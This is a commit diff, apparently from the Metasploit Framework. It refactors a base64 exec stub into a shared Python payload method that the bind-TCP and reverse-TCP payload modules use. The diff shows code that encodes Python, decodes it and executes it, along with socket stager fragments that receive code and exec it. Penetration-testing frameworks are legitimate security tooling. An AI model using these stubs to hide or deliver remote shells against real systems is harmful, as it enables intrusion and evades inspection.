Refactor base64 stub into base module
As per @zeroSteiner's suggestion.bug/bundler_fix
parent
e103b2365a
commit
43f7054a5c
|
@ -3,4 +3,21 @@ require 'msf/core'
|
|||
|
||||
module Msf::Payload::Python
|
||||
|
||||
#
|
||||
# Encode the given python command in base64 and wrap it with a stub
|
||||
# that will decode and execute it on the fly.
|
||||
#
|
||||
# @param cmd [String] The python code to execute.
|
||||
# @return [String] Full python stub to execute the command.
|
||||
#
|
||||
def py_create_exec_stub(cmd)
|
||||
# Base64 encoding is required in order to handle Python's formatting
|
||||
# requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
b64_stub
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -13,6 +13,7 @@ module Msf
|
|||
|
||||
module Payload::Python::BindTcp
|
||||
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::SendUUID
|
||||
|
||||
#
|
||||
|
@ -52,12 +53,7 @@ module Payload::Python::BindTcp
|
|||
cmd << "\td+=s.recv(l-len(d))\n"
|
||||
cmd << "exec(d,{'s':s})\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
b64_stub
|
||||
py_create_exec_stub(cmd)
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
|
|
|
@ -13,6 +13,7 @@ module Msf
|
|||
|
||||
module Payload::Python::ReverseTcp
|
||||
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::SendUUID
|
||||
|
||||
#
|
||||
|
@ -52,12 +53,7 @@ module Payload::Python::ReverseTcp
|
|||
cmd << "\td+=s.recv(l-len(d))\n"
|
||||
cmd << "exec(d,{'s':s})\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
b64_stub
|
||||
py_create_exec_stub(cmd)
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
|
|
Loading…
Reference in New Issue